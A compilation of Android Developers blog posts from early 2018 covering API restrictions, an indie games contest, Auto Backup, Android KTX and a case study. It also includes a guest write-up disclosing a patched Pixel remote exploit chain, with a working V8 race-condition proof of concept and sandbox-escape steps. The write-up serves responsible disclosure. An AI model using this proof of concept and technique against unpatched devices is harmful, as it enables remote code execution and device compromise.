The latest Android and Google Play news for app and game developers.
In Android, we're always looking for ways to improve the user and developer experience by making those experiences as stable as possible. In this spirit, we've been working to ensure that apps don't use non-SDK interfaces, since doing so risks crashes for users and emergency rollouts for developers. In Android N, we restricted the set of symbols that C/C++ code could use. This change ensured that apps using C++ rely on stable NDK interfaces rather than incur the incremental crashes caused by reliance on unstable, non-NDK interfaces. Starting in the next release of Android, we will further increase stability by expanding these restrictions to cover the Java language interfaces of the SDK.
Starting in the next release of Android, some non-SDK methods and fields will be restricted so that you cannot access them -- either directly, via reflection, or JNI. If you try, you can see errors such as NoSuchFieldException or NoSuchMethodException.
Initially, this restriction will impact interfaces with low or no usage. It is an explicit goal of our planning and design to respect our developer community and create the absolute minimum of change while addressing app stability issues flagged by our users and device manufacturers. In cases where a migration to SDK methods will be possible but is likely to be technically challenging, we'll allow continued usage until your app is updated to target the latest API level. We plan to broaden these restrictions in future platform versions, giving developers time to migrate with long advance warning, and also giving us time to gather feedback about any needed SDK interfaces. We have always said that using non-SDK interfaces is always risky -- they might change in any release as we refactor code to add features or fix bugs. So if your app currently relies on non-SDK interfaces, you should begin planning a migration to SDK alternatives.
Because the Java language has different features from C++, this restriction will take a slightly different form than the previous symbol restriction. You should not access classes that are not part of our SDK, but you also need to be sure that you are only using the officially documented parts of each class. In particular, this means that you should not plan to access methods or fields that are not listed in the SDK when you interact with a class via semantics such as reflection.
We know that some apps may be using non-SDK interfaces in ways that do not have an SDK alternative. We value your feedback about where and how we need to expand and improve the public APIs for you. If you feel that you'll need the SDK API expanded before you can stop using non-SDK ones, please tell us via our bug tracker. We will be monitoring this list closely and using this valuable feedback to prioritize. It is critical for us to get this feedback in a timely manner so that we can continue to both tune the blacklist to minimize developer impact and also begin developing any needed alternatives for future platforms.
In the next Android developer preview, you'll be able to run your existing apps and see warnings when you use a non-SDK interface that will be subject to blacklist or greylist in the final release. It's always a best practice to make sure your app runs on the developer preview, but you should pay specific attention to the interface compatibility warnings if you are concerned that you may be impacted.
In conjunction with the next developer preview and the new bug tracker category, we'll be monitoring usage of non-SDK interfaces. In cases where official SDK alternatives already exist, we'll publish official guidance on how to migrate away from commonly used non-SDK interfaces.
We have just wrapped up the second edition of the Google Play Indie Games Contest in Europe! The iconic Saatchi Gallery in London welcomed 20 developers, from 12 countries, who showcased their games to the audience of gamers, industry experts, and journalists.
The finalists' games were on show to the public, who spent three hours trying out their games and voting for their favourites, alongside the Google Play team. The top 10 finalists were then selected, and went on to pitch their games, and compete for the big prizes in front of our jury.
Please join us in congratulating the winners! They will be bringing home a well-deserved diploma, along with a prize package that will help them reach more gamers worldwide; including premium placement on the Google Play Store, marketing campaigns of up to 100,000 EUR and influencer campaigns of up to 50,000 EUR, the latest Google hardware, tickets to Google I/O, and much more.
It's really inspiring to see the excitement around this second edition, and great to see the new wave of indie games coming from Europe. We are already looking forward to playing the games that will be developed in 2018!
Check out the main winners and the other finalists on the Google Play Store!
Bury me, my love
Playdius
France
A reality-inspired interactive fiction designed for mobile phones. It tells the story of Nour, a Syrian woman trying to reach Europe in hope of a better life.
Old Man's Journey
Broken Rules Interactive Media GmbH
Austria
A story game about life's precious moments, broken dreams, and changed plans.
Yellow
Bart Bonte
Belgium
A puzzle game for you! A love letter to a marvelous colour and to the little wonder called touchscreens. Warning: very yellow!
Captain Tom Galactic Traveler
Picodongames
An open world platformer and space exploration game. Embark on an exploratory mission, discover planets, collect oxygen, play with gravity.
I Love Hue
Zut!
United Kingdom
A minimalist, ambient puzzle game influenced by mindfulness apps and abstract art. Players arrange shuffled mosaics of coloured tiles into perfectly ordered palettes.
Jodeo
Gamebra.in
Turkey
Jodeo is a 2D jelly critter. There's something it's curious about: what if 3D objects and 2D physics are in the same game? How can 2D objects interact with 3D objects?
Kami 2
State of Play
The calming yet addictive puzzle game is back! With over 100 handcrafted puzzles, it takes you on a mind-twisting journey that combines logic and problem-solving.
Kenshō
FIFTYTWO
Russia
A tile sliding puzzle with a wonderful soundtrack. Mysterious things happen in a ruined room. Doors inside that room lead to different worlds and beautiful landscapes.
No More Buttons
Tommy Søreide Kjær
Norway
A hand-drawn platformer where the buttons are part of the environment.
The Big Journey
Catfishbox
Ukraine
Designed for kids and adults alike, this a beautiful, casual adventure. Tilt to roll around and explore a beautiful world with Mr. Whiskers.
How useful did you find this blogpost?
★ ★ ★ ★ ★
What happens to app usage and accessibility when people get new phones? The feedback we've had is that people want apps to work straight out of the box, just like on their old phones.
Developers of successful apps might also be used to thinking about user activation in a model borrowed straight from web. On the web, people register new accounts, activate by finding great features, then become retained when they experience value, and come back repeatedly to use your web page.
The story is much the same on mobile. People register to create new accounts, activate by using your great features, then become retained when they find value and repeatedly launch your app. However, there's one big difference. Android apps typically store more information compared to your average web session. You usually never have to re-enter your password for an Android app for years, post account creation, that is until the moment you get a new phone.
Getting a new phone can be a rare event for many people - some going years between upgrading devices. However, overall a large proportion of those who use your app will get a new phone every year. We have several tools to help you keep people logged in, engaged, and happy when they use your app on a new phone.
Auto Backup for apps should be configured for every application. This feature does exactly what it says - automatically backs up your app data. So when people get a new phone, their app data is automatically restored before your app launches.
To configure Auto Backup for your app you need to setup include/exclude rules:
AndroidManifest.xml
<application ... android:fullBackupContent="@xml/autobackup">
xml/autobackup.xml
<?xml version="1.0" encoding="utf-8"?> <full-backup-content> <include domain="sharedpref" path="."/> <exclude domain="sharedpref" path="device.xml"/> </full-backup-content>
When configuring include/exclude rules it's important to avoid storing sensitive user data in Auto Backup, although it's a great place to store user specific settings and other app content!
To implement tracking for Auto Backup register a BackupAgent and listen for onQuotaExceeded(long, long) callback. If your app exceeds the 25MB backup limit, this callback will be your notification of failure. In a well configured app this will never happen, so you can track it as a crash report.
Learn more about Auto Backup for apps.
When we talk to people about the experiences they want on their new phones they're very clear; they want your app to remember who they are, and they don't want to re-enter a password. There are several ways you can accomplish this as a developer:
<TextView android:id="@+id/username" android:layout_width="wrap_content" android:layout_height="wrap_content" android:autofillHints="username" /> <TextView android:id="@+id/password" android:layout_width="wrap_content" android:layout_height="wrap_content" android:autofillHints="password" /> <TextView android:id="@+id/captcha" android:layout_width="wrap_content" android:layout_height="wrap_content" android:importantForAutofill="no" />
android:id="@+id/username" android:layout_width="wrap_content" android:layout_height="wrap_content" android:autofillHints="username" />
If you haven't already, try the Auto Backup for Android Codelab, and SmartLock Codelab.
Improving retention on Android for many people will involve trying to overcome the friction of device switches. With a rich toolbox at your disposal to transfer settings with Auto Backup, and to improve the login experience with Google Sign-In, Smart Lock for Passwords, Autofill, and Account Transfer API, you have the opportunity to deliver a great user story: your app works on people's new phones, just like it did on their old phones.
Today, we are announcing the preview of Android KTX - a set of extensions designed to make writing Kotlin code for Android more concise, idiomatic, and pleasant. Android KTX provides a nice API layer on top of both Android framework and Support Library to make writing your Kotlin code more natural.
The portion of Android KTX that covers the Android framework is now available in our GitHub repo. We invite you to try it out to give us your feedback and contributions. The other parts of Android KTX that cover the Android Support Library will be available in upcoming Support Library releases.
Let's take a look at some examples of how Android KTX can help you write more natural and concise Kotlin code.
Code Samples Using Android KTX
String to Uri
Let's start with this simple example. Normally, you'd call Uri.parse(uriString). Android KTX adds an extension function to the String class that allows you to convert strings to URIs more naturally.
Uri.parse(uriString)
val uri = Uri.parse(myUriString)
val uri = myUriString.toUri()
Edit SharedPreferences
Editing SharedPreferences is a very common use case. The code using Android KTX is slightly shorter and more natural to read and write.
sharedPreferences.edit() .putBoolean(key, value) .apply()
sharedPreferences.edit { putBoolean(key, value) }
Translating path difference
In the code below, we translate the difference between two paths by 100px.
val pathDifference = Path(myPath1).apply { op(myPath2, Path.Op.DIFFERENCE) } val myPaint = Paint() canvas.apply { val checkpoint = save() translate(0F, 100F) drawPath(pathDifference, myPaint) restoreToCount(checkpoint) }
val pathDifference = myPath1 - myPath2 canvas.withTranslation(y = 100F) { drawPath(pathDifference, myPaint) }
Action on View onPreDraw
This example triggers an action with a View's onPreDraw callback. Without Android KTX, there is quite a bit of code you need to write.
view.viewTreeObserver.addOnPreDrawListener( object : ViewTreeObserver.OnPreDrawListener { override fun onPreDraw(): Boolean { viewTreeObserver.removeOnPreDrawListener(this) actionToBeTriggered() return true } })
view.doOnPreDraw { actionToBeTriggered() }
There are many more places where Android KTX can simplify your code. You can read the full API reference documentation on GitHub.
Getting Started
To start using Android KTX in your Android Kotlin projects, add the following to your app module's build.gradle file:
build.gradle
repositories { google() } dependencies { // Android KTX for framework API implementation 'androidx.core:core-ktx:0.1' ... }
Then, after you sync your project, the extensions appear automatically in the IDE's auto-complete list. Selecting an extension automatically adds the necessary import statement to your file.
Beware that the APIs are likely to change during the preview period. If you decide to use it in your projects, you should expect breaking changes before we reach the stable version.
You may notice that Android KTX uses package names that begin with androidx. This is a new package name prefix that we will be using in future versions of Android Support Library. We hope the division between android.* and androidx.* makes it more obvious which APIs are bundled with the platform, and which are static libraries for app developers that work across different versions of Android.
androidx
android.*
androidx.*
Today's preview launch is only the beginning. Over the next few months, we will iterate on the API as we incorporate your feedback and contributions. When the API has stabilized and we can commit to API compatibility, we plan to release Android KTX as part of the Android Support Library.
We look forward to building Android KTX together with you. Happy Kotlin-ing!
Deeplocal is a Pittsburgh-based innovation studio that makes inventions as marketing to help the world's most loved brands tell their stories. The team at Deeplocal built several fun and engaging robotics projects using Android Things. Leveraging the developer ecosystem surrounding the Android platform and the compute power of Android Things hardware, they were able to quickly and easily create robots powered by computer vision and machine learning.
DrawBot
DrawBot is a DIY drawing robot that transforms your selfies into physical works of art.
"The Android Things platform helped us move quickly from an idea, to prototype, to final product. Switching from phone apps to embedded code was easy in Android Studio, and we were able to pull in OpenCV modules, motor drivers, and other libraries as needed. The final version of our prototype was created two weeks after unboxing our first Android Things developer kit."
- Brian Bourgeois, Producer, Deeplocal
Want to build your own DrawBot? See the Hackster.io project for all the source code, schematics, and 3D models.
HandBot
A robotic hand that learns and reacts to hand gestures, HandBot visually recognizes gestures and applies machine learning.
"The Android Things platform made integration work for Handbot a breeze. Using TensorFlow, we were able to train a neural network to recognize hand gestures. Once this was created, we were able to use Android Things drivers to implement games in easy-to-read Android code. In a matter of weeks, we went from a fresh developer kit to competing against a robot hand in Rock, Paper, Scissors."
- Mike Derrick, Software Engineer, Deeplocal
Want to build your own HandBot? See the Hackster.io project for all the source code, schematics, and 3D models.
Visit the Google Hackster community to explore more inspiring ideas just like these, and join Google's IoT Developers Community on Google+ to get the latest platform updates, ask questions, and discuss ideas.
Based in Seattle, Big Fish Games was founded in 2002. Starting as a game studio, they quickly turned into a major publisher and distributor of casual games. Leading up to the launch of their hit time management game, Cooking Craze, the team ran an open beta on Google Play.
Big Fish Games found that using open beta provided more than 10x the amount of user feedback from around the world, and also gave them access to key metrics and Android Vitals in the Play Console. The ability to monitor game performance metrics pre-launch allowed the team to focus on areas of improvement, which lead to a 21% reduction in crash rate. The larger sample size of beta testers also provided more insights on player behavior and helped achieve a +7% improvement in day 1, day 7, and day 30 retention rates.
You can also learn more pre-launch best practices and strategies to improve performance post-launch at our Google Developer Day on Monday, March 19th at GDC. Sign up to stay informed.
ComplicationDrawable
WatchFaceStyle.setAccentColor
WatchFaceStyle.setHideNotificationIndicator
WatchFaceStyle.setShowUnreadCountIndicator,
WatchFaceStyle.getUnreadCount
TYPE_NO_PERMISSION
onTap
Drawable.Callback
In June 2017, the Android security team increased the top payouts for the Android Security Rewards (ASR) program and worked with researchers to streamline the exploit submission process. In August 2017, Guang Gong (@oldfresher) of Alpha Team, Qihoo 360 Technology Co. Ltd. submitted the first working remote exploit chain since the ASR program's expansion. For his detailed report, Gong was awarded $105,000, which is the highest reward in the history of the ASR program and $7500 by Chrome Rewards program for a total of $112,500. The complete set of issues was resolved as part of the December 2017 monthly security update. Devices with the security patch level of 2017-12-05 or later are protected from these issues.
All Pixel devices or partner devices using A/B (seamless) system updates will automatically install these updates; users must restart their devices to complete the installation.
The Android Security team would like to thank Guang Gong and the researcher community for their contributions to Android security. If you'd like to participate in Android Security Rewards program, check out our Program rules. For tips on how to submit reports, see Bug Hunter University.
The following article is a guest blog post authored by Guang Gong of Alpha team, Qihoo 360 Technology Ltd.
The Pixel phone is protected by many layers of security. It was the only device that was not pwned in the 2017 Mobile Pwn2Own competition. But in August 2017, my team discovered a remote exploit chain—the first of its kind since the ASR program expansion. Thanks to the Android security team for their responsiveness and help during the submission process.
This blog post covers the technical details of the exploit chain. The exploit chain includes two bugs, CVE-2017-5116 and CVE-2017-14904. CVE-2017-5116 is a V8 engine bug that is used to get remote code execution in sandboxed Chrome render process. CVE-2017-14904 is a bug in Android's libgralloc module that is used to escape from Chrome's sandbox. Together, this exploit chain can be used to inject arbitrary code into system_server by accessing a malicious URL in Chrome. To reproduce the exploit, an example vulnerable environment is Chrome 60.3112.107 + Android 7.1.2 (Security patch level 2017-8-05) (google/sailfish/sailfish:7.1.2/NJH47F/4146041:user/release-keys).
New features usually bring new bugs. V8 6.0 introduces support for SharedArrayBuffer, a low-level mechanism to share memory between JavaScript workers and synchronize control flow across workers. SharedArrayBuffers give JavaScript access to shared memory, atomics, and futexes. WebAssembly is a new type of code that can be run in modern web browsers— it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages, such as C/C++, with a compilation target so that they can run on the web. By combining the three features, SharedArrayBuffer WebAssembly, and web worker in Chrome, an OOB access can be triggered through a race condition. Simply speaking, WebAssembly code can be put into a SharedArrayBuffer and then transferred to a web worker. When the main thread parses the WebAssembly code, the worker thread can modify the code at the same time, which causes an OOB access.
The buggy code is in the function GetFirstArgumentAsBytes where the argument args may be an ArrayBuffer or TypedArray object. After SharedArrayBuffer is imported to JavaScript, a TypedArray may be backed by a SharedArraybuffer, so the content of the TypedArray may be modified by other worker threads at any time.
i::wasm::ModuleWireBytes GetFirstArgumentAsBytes( const v8::FunctionCallbackInfo<v8::Value>& args, ErrorThrower* thrower) { ...... } else if (source->IsTypedArray()) { //--->source should be checked if it's backed by a SharedArrayBuffer // A TypedArray was passed. Local<TypedArray> array = Local<TypedArray>::Cast(source); Local<ArrayBuffer> buffer = array->Buffer(); ArrayBuffer::Contents contents = buffer->GetContents(); start = reinterpret_cast<const byte*>(contents.Data()) + array->ByteOffset(); length = array->ByteLength(); } ...... return i::wasm::ModuleWireBytes(start, start + length); }
A simple PoC is as follows:
<html> <h1>poc</h1> <script id="worker1"> worker:{ self.onmessage = function(arg) { console.log("worker started"); var ta = new Uint8Array(arg.data); var i =0; while(1){ if(i==0){ i=1; ta[51]=0; //--->4)modify the webassembly code at the same time }else{ i=0; ta[51]=128; } } } } </script> <script> function getSharedTypedArray(){ var wasmarr = [ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e, 0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65, 0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01, 0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b, 0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b]; var sb = new SharedArrayBuffer(wasmarr.length); //---> 1)put WebAssembly code in a SharedArrayBuffer var sta = new Uint8Array(sb); for(var i=0;i<sta.length;i++) sta[i]=wasmarr[i]; return sta; } var blob = new Blob([ document.querySelector('#worker1').textContent ], { type: "text/javascript" }) var worker = new Worker(window.URL.createObjectURL(blob)); //---> 2)create a web worker var sta = getSharedTypedArray(); worker.postMessage(sta.buffer); //--->3)pass the WebAssembly code to the web worker setTimeout(function(){ while(1){ try{ sta[51]=0; var myModule = new WebAssembly.Module(sta); //--->4)parse the WebAssembly code var myInstance = new WebAssembly.Instance(myModule); //myInstance.exports.getAnswerPlus1(); }catch(e){ } } },1000); //worker.terminate(); </script> </html>
The text format of the WebAssembly code is as follows:
00002b func[0]: 00002d: 41 2a | i32.const 42 00002f: 0b | end 000030 func[1]: 000032: 10 00 | call 0 000034: 41 01 | i32.const 1 000036: 6a | i32.add 000037: 0b | end
First, the above binary format WebAssembly code is put into a SharedArrayBuffer, then a TypedArray Object is created, using the SharedArrayBuffer as buffer. After that, a worker thread is created and the SharedArrayBuffer is passed to the newly created worker thread. While the main thread is parsing the WebAssembly Code, the worker thread modifies the SharedArrayBuffer at the same time. Under this circumstance, a race condition causes a TOCTOU issue. After the main thread's bound check, the instruction " call 0" can be modified by the worker thread to "call 128" and then be parsed and compiled by the main thread, so an OOB access occurs.
Because the "call 0" Web Assembly instruction can be modified to call any other Web Assembly functions, the exploitation of this bug is straightforward. If "call 0" is modified to "call $leak", registers and stack contents are dumped to Web Assembly memory. Because function 0 and function $leak have a different number of arguments, this results in many useful pieces of data in the stack being leaked.
(func $leak(param i32 i32 i32 i32 i32 i32)(result i32) i32.const 0 get_local 0 i32.store i32.const 4 get_local 1 i32.store i32.const 8 get_local 2 i32.store i32.const 12 get_local 3 i32.store i32.const 16 get_local 4 i32.store i32.const 20 get_local 5 i32.store i32.const 0 ))
Not only the instruction "call 0" can be modified, any "call funcx" instruction can be modified. Assume funcx is a wasm function with 6 arguments as follows, when v8 compiles funcx in ia32 architecture, the first 5 arguments are passed through the registers and the sixth argument is passed through stack. All the arguments can be set to any value by JavaScript:
/*Text format of funcx*/ (func $simple6 (param i32 i32 i32 i32 i32 i32 ) (result i32) get_local 5 get_local 4 i32.add) /*Disassembly code of funcx*/ --- Code --- kind = WASM_FUNCTION name = wasm#1 compiler = turbofan Instructions (size = 20) 0x58f87600 0 8b442404 mov eax,[esp+0x4] 0x58f87604 4 03c6 add eax,esi 0x58f87606 6 c20400 ret 0x4 0x58f87609 9 0f1f00 nop Safepoints (size = 8) RelocInfo (size = 0) --- End code ---
When a JavaScript function calls a WebAssembly function, v8 compiler creates a JS_TO_WASM function internally, after compilation, the JavaScript function will call the created JS_TO_WASM function and then the created JS_TO_WASM function will call the WebAssembly function. JS_TO_WASM functions use different call convention, its first arguments is passed through stack. If "call funcx" is modified to call the following JS_TO_WASM function.
/*Disassembly code of JS_TO_WASM function */ --- Code --- kind = JS_TO_WASM_FUNCTION name = js-to-wasm#0 compiler = turbofan Instructions (size = 170) 0x4be08f20 0 55 push ebp 0x4be08f21 1 89e5 mov ebp,esp 0x4be08f23 3 56 push esi 0x4be08f24 4 57 push edi 0x4be08f25 5 83ec08 sub esp,0x8 0x4be08f28 8 8b4508 mov eax,[ebp+0x8] 0x4be08f2b b e8702e2bde call 0x2a0bbda0 (ToNumber) ;; code: BUILTIN 0x4be08f30 10 a801 test al,0x1 0x4be08f32 12 0f852a000000 jnz 0x4be08f62 <+0x42>
The JS_TO_WASM function will take the sixth arguments of funcx as its first argument, but it takes its first argument as an object pointer, so type confusion will be triggered when the argument is passed to the ToNumber function, which means we can pass any values as an object pointer to the ToNumber function. So we can fake an ArrayBuffer object in some address such as in a double array and pass the address to ToNumber. The layout of an ArrayBuffer is as follows:
/* ArrayBuffer layouts 40 Bytes*/ Map Properties Elements ByteLength BackingStore AllocationBase AllocationLength Fields internal internal /* Map layouts 44 Bytes*/ static kMapOffset = 0, static kInstanceSizesOffset = 4, static kInstanceAttributesOffset = 8, static kBitField3Offset = 12, static kPrototypeOffset = 16, static kConstructorOrBackPointerOffset = 20, static kTransitionsOrPrototypeInfoOffset = 24, static kDescriptorsOffset = 28, static kLayoutDescriptorOffset = 1, static kCodeCacheOffset = 32, static kDependentCodeOffset = 36, static kWeakCellCacheOffset = 40, static kPointerFieldsBeginOffset = 16, static kPointerFieldsEndOffset = 44, static kInstanceSizeOffset = 4, static kInObjectPropertiesOrConstructorFunctionIndexOffset = 5, static kUnusedOffset = 6, static kVisitorIdOffset = 7, static kInstanceTypeOffset = 8, //one byte static kBitFieldOffset = 9, static kInstanceTypeAndBitFieldOffset = 8, static kBitField2Offset = 10, static kUnusedPropertyFieldsOffset = 11
Because the content of the stack can be leaked, we can get many useful data to fake the ArrayBuffer. For example, we can leak the start address of an object, and calculate the start address of its elements, which is a FixedArray object. We can use this FixedArray object as the faked ArrayBuffer's properties and elements fields. We have to fake the map of the ArrayBuffer too, luckily, most of the fields of the map are not used when the bug is triggered. But the InstanceType in offset 8 has to be set to 0xc3(this value depends on the version of v8) to indicate this object is an ArrayBuffer. In order to get a reference of the faked ArrayBuffer in JavaScript, we have to set the Prototype field of Map in offset 16 to an object whose Symbol.toPrimitive property is a JavaScript call back function. When the faked array buffer is passed to the ToNumber function, to convert the ArrayBuffer object to a Number, the call back function will be called, so we can get a reference of the faked ArrayBuffer in the call back function. Because the ArrayBuffer is faked in a double array, the content of the array can be set to any value, so we can change the field BackingStore and ByteLength of the faked array buffer to get arbitrary memory read and write. With arbitrary memory read/write, executing shellcode is simple. As JIT Code in Chrome is readable, writable and executable, we can overwrite it to execute shellcode.
Chrome team fixed this bug very quickly in chrome 61.0.3163.79, just a week after I submitted the exploit.
The sandbox escape bug is caused by map and unmap mismatch, which causes a Use-After-Unmap issue. The buggy code is in the functions gralloc_map and gralloc_unmap:
static int gralloc_map(gralloc_module_t const* module, buffer_handle_t handle) { …… private_handle_t* hnd = (private_handle_t*)handle; …… if (!(hnd->flags & private_handle_t::PRIV_FLAGS_FRAMEBUFFER) && !(hnd->flags & private_handle_t::PRIV_FLAGS_SECURE_BUFFER)) { size = hnd->size; err = memalloc->map_buffer(&mappedAddress;, size, hnd->offset, hnd->fd); //---> mapped an ashmem and get the mapped address. the ashmem fd and offset can be controlled by Chrome render process. if(err || mappedAddress == MAP_FAILED) { ALOGE("Could not mmap handle %p, fd=%d (%s)", handle, hnd->fd, strerror(errno)); return -errno; } hnd->base = uint64_t(mappedAddress) + hnd->offset; //---> save mappedAddress+offset to hnd->base } else { err = -EACCES; } …… return err; }
gralloc_map maps a graphic buffer controlled by the arguments handle to memory space and gralloc_unmap unmaps it. While mapping, the mappedAddress plus hnd->offset is stored to hnd->base, but while unmapping, hnd->base is passed to system call unmap directly minus the offset. hnd->offset can be manipulated from a Chrome's sandboxed process, so it's possible to unmap any pages in system_server from Chrome's sandboxed render process.
static int gralloc_unmap(gralloc_module_t const* module, buffer_handle_t handle) { …… if(hnd->base) { err = memalloc->unmap_buffer((void*)hnd->base, hnd->size, hnd->offset); //---> while unmapping, hnd->offset is not used, hnd->base is used as the base address, map and unmap are mismatched. if (err) { ALOGE("Could not unmap memory at address %p, %s", (void*) hnd->base, strerror(errno)); return -errno; } hnd->base = 0; } …… return 0; } int IonAlloc::unmap_buffer(void *base, unsigned int size, unsigned int /*offset*/) //---> look, offset is not used by unmap_buffer { int err = 0; if(munmap(base, size)) { err = -errno; ALOGE("ion: Failed to unmap memory at %p : %s", base, strerror(errno)); } return err; }
Although SeLinux restricts the domain isolated_app to access most of Android system service, isolated_app can still access three Android system services.
52neverallow isolated_app { 53 service_manager_type 54 -activity_service 55 -display_service 56 -webviewupdate_service 57}:service_manager find;
To trigger the aforementioned Use-After-Unmap bug from Chrome's sandbox, first put a GraphicBuffer object, which is parseable into a bundle, and then call the binder method convertToTranslucent of IActivityManager to pass the malicious bundle to system_server. When system_server handles this malicious bundle, the bug is triggered.
This EoP bug targets the same attack surface as the bug in our 2016 MoSec presentation, A Way of Breaking Chrome's Sandbox in Android. It is also similar to Bitunmap, except exploiting it from a sandboxed Chrome render process is more difficult than from an app.
To exploit this EoP bug:
1. Address space shaping. Make the address space layout look as follows, a heap chunk is right above some continuous ashmem mapping:
7f54600000-7f54800000 rw-p 00000000 00:00 0 [anon:libc_malloc] 7f58000000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted) ......
2. Unmap part of the heap (1 KB) and part of an ashmem memory (2MB–1KB) by triggering the bug:
7f54400000-7f54600000 rw-s 00000000 00:04 31603 /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0 [anon:libc_malloc] //--->There is a 2MB memory gap 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted)
3. Fill the unmapped space with an ashmem memory:
7f54400000-7f54600000 rw-s 00000000 00:04 31603 /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0 [anon:libc_malloc] 7f547ff000-7f549ff000 rw-s 00000000 00:04 31605 /dev/ashmem/360alpha1001 (deleted) //--->The gap is filled with the ashmem memory 360alpha1001 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted)
4. Spray the heap and the heap data will be written to the ashmem memory:
7f54400000-7f54600000 rw-s 00000000 00:04 31603 /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0 [anon:libc_malloc] 7f547ff000-7f549ff000 rw-s 00000000 00:04 31605 /dev/ashmem/360alpha1001 (deleted) //--->the heap manager believes the memory range from 0x7f547ff000 to 0x7f54800000 is still mongered by it and will allocate memory from this range, result in heap data is written to ashmem memory 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted)
5. Because the filled ashmem in step 3 is mapped both by system_server and render process, part of the heap of system_server can be read and written by render process and we can trigger system_server to allocate some GraphicBuffer object in ashmem. As GraphicBuffer is inherited from ANativeWindowBuffer, which has a member named common whose type is android_native_base_t, we can read two function points (incRef and decRef) from ashmem memory and then can calculate the base address of the module libui. In the latest Pixel device, Chrome's render process is still 32-bit process but system_server is 64-bit process. So we have to leak some module's base address for ROP. Now that we have the base address of libui, the last step is to trigger ROP. Unluckily, it seems that the points incRef and decRef haven't been used. It's impossible to modify it to jump to ROP, but we can modify the virtual table of GraphicBuffer to trigger ROP.
typedef struct android_native_base_t { /* a magic value defined by the actual EGL native type */ int magic; /* the sizeof() of the actual EGL native type */ int version; void* reserved[4]; /* reference-counting interface */ void (*incRef)(struct android_native_base_t* base); void (*decRef)(struct android_native_base_t* base); } android_native_base_t;
6.Trigger a GC to execute ROP
When a GraphicBuffer object is deconstructed, the virtual function onLastStrongRef is called, so we can replace this virtual function to jump to ROP. When GC happens, the control flow goes to ROP. Finding an ROP chain in limited module(libui) is challenging, but after hard work, we successfully found one and dumped the contents of the file into /data/misc/wifi/wpa_supplicant.conf .
The Android security team responded quickly to our report and included the fix for these two bugs in the December 2017 Security Update. Supported Google device and devices with the security patch level of 2017-12-05 or later address these issues. While parsing untrusted parcels still happens in sensitive locations, the Android security team is working on hardening the platform to mitigate against similar vulnerabilities.
The EoP bug was discovered thanks to a joint effort between 360 Alpha Team and 360 C0RE Team. Thanks very much for their effort.
Back in October we launched the 2nd edition of the Google Play Indie Games Contest in Europe, with the aim to identify, showcase and reward indie gaming talent from more than 30 countries. We were amazed by the innovation and creativity that indie developers from the region have to offer.
Selecting just 20 finalists has once again been a huge challenge. We had a lot of fun playing the games that will go on to showcase at the Saatchi Gallery on February 13th in London. Without further ado, we are happy to announce the Top 20 finalists of this year's edition. Congratulations to the finalists and thanks to everyone else who has entered the contest.
A Planet of Mine Tuesday Quest France
Bridge Constructor Portal ClockStone Softwareentwicklung GmbH Austria
Bury me, my Love Playdius France
Captain Tom Galactic Traveler Picodongames France
Core FURYJAM Russia
Flat Pack Nitrome United Kingdom
Fern Flower Macaque Poland
I Love Hue Zut! United Kingdom
Jodeo Gamebra.in Turkey
Kami 2 State of Play United Kingdom
Kenshō FIFTYTWO Russia
No More Buttons Tommy Søreide Kjær Norway
Old Man's Journey Broken Rules Interactive Media GmbH Austria
Radium 2 | Ra² Developster Germany
The Big Journey Catfishbox Ukraine
The House of Da Vinci Blue Brain Games, s.r.o. Slovakia
The Office Quest 11Sheep Israel
Unbalance TVEE Turkey
Undervault Andriy Bychkovskyi Ukraine
yellow Bart Bonte Belgium
All the 20 finalists are getting:
They will also have the chance to win more prizes at the final event.
Anyone can now register to attend the final showcase event for free at the Saatchi Gallery in London on 13 February 2018. Come and play some great games and have fun with indie developers, industry experts, and the Google Play team.
